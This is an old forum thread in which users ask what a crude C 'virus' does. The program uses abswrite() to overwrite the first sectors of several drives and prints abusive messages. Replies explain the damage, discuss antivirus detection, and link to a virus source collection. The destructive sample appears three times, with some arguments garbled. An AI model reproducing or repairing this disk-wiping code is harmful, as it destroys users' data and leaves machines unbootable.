zabbix
+ Reply to Thread
Results 1 to 7 of 7

Thread: Virus

  1. #1
    Join Date
    Feb 2008
    Posts
    3

    Virus

    I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do(and the all code). Here is an example of how it is used:
    #include

    main()
    {
    char *vir;
    abswrite(0,50,0,vir);
    abswrite(*,50,0,vir);
    abswrite(2,50,0,vir);
    abswrite(*,50,0,vir);
    abswrite(4,50,0,vir);
    printf("FUCK YOU ALL");
    printf("The Bomber");
    }

  2. #2
    Join Date
    Dec 2007
    Posts
    141
    main()
    {
    char *vir;
    abswrite(0,50,0,vir); //Writes in 0 Drive, 50 Sectors to Write to, 0 is first sector of drive, vir (buffer) used to get char from memory to write
    abswrite(*,50,0,vir);
    abswrite(2,50,0,vir);
    abswrite(*,50,0,vir);
    abswrite(4,50,0,vir);
    printf("FUCK YOU ALL"); // echos "FUCK YOU ALL" to the command prompt
    printf("The Bomber"); // echos "The Bomber" to the command prompt
    }

    It looks to me like, in this case, it writes to five drives in order and copys a random character to 50 sectors at the beginning of drives A-E. In other words it will totally fuck up any disk in drive A or B and make your computer unable to start drives C & D and or E. It looks like a dangerous function to use because it transfers control to the BIOS for it to be performed. Anything that would write to the beginning of a drive cannot be good. But it doesn't look to me like it displays many pop up messages. Certainly not Windows pop ups anyway. Once you restart your computer its probably fryed.

  3. #3
    Join Date
    Feb 2008
    Posts
    3

    virus

    Another problem is how to confront this type of virus.
    #include

    main()
    {
    char *vir;
    abswrite(0,50,0,vir);
    abswrite(*,50,0,vir);
    abswrite(2,50,0,vir);
    abswrite(*,50,0,vir);
    abswrite(4,50,0,vir);
    printf("FUCK YOU ALL");
    printf("The Bomber");
    }


    In other words how would be like an antivirus program writed in pseudocode for the code virus above .

  4. #4
    Join Date
    Dec 2007
    Posts
    141
    This is not a virus if all it does is destroy your computer. Just a destructive program. A real time virus scanner/security suite should protect and be able to sense something like this because it is such an important action. But I really don't know. Most virus scanners look for signatures and certain events to happen before alerting the user. Heuristic virus scanning is getting better though. Sorry I can't help more.

  5. #5
    Join Date
    Feb 2008
    Posts
    3

    virus in c

    Is there any s***estion about an interesting virus code in C,already writted with comments, in order to write an antivirus programm based in this code.(home work).

  6. #6
    Join Date
    Dec 2007
    Posts
    141
    An anti virus program could look for the abswrite() function with the *rd argument being anything from 0-5*2.

    This site has two very good examples with good comments.
    [url]http://vx.netlux.org/lib/vbw06.html[/url]

    There are hundreds on google.

  7. #7
    Join Date
    Mar 2008
    Posts
    1
    old one...very old

+ Reply to Thread

Similar Threads

  1. Help! Virus!
    By VirusFlyTrap in forum Viruses and Trojans
    Replies: 5
    Last Post: 01-19-2010, 01:23 AM
  2. C++ virus
    By minaadel1994 in forum Programming
    Replies: 3
    Last Post: 12-27-2008, 09:01 PM
  3. Virus
    By 123456 in forum Viruses and Trojans
    Replies: 1
    Last Post: 03-07-2005, 10:11 AM
  4. another virus
    By outlawuk in forum Proxies and Firewalls
    Replies: 5
    Last Post: 04-05-2004, 03:30 PM
  5. Warning! Virus / Trojan alert! Free anti-virus.
    By Intrepid in forum Viruses and Trojans
    Replies: 3
    Last Post: 09-01-2001, 01:37 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts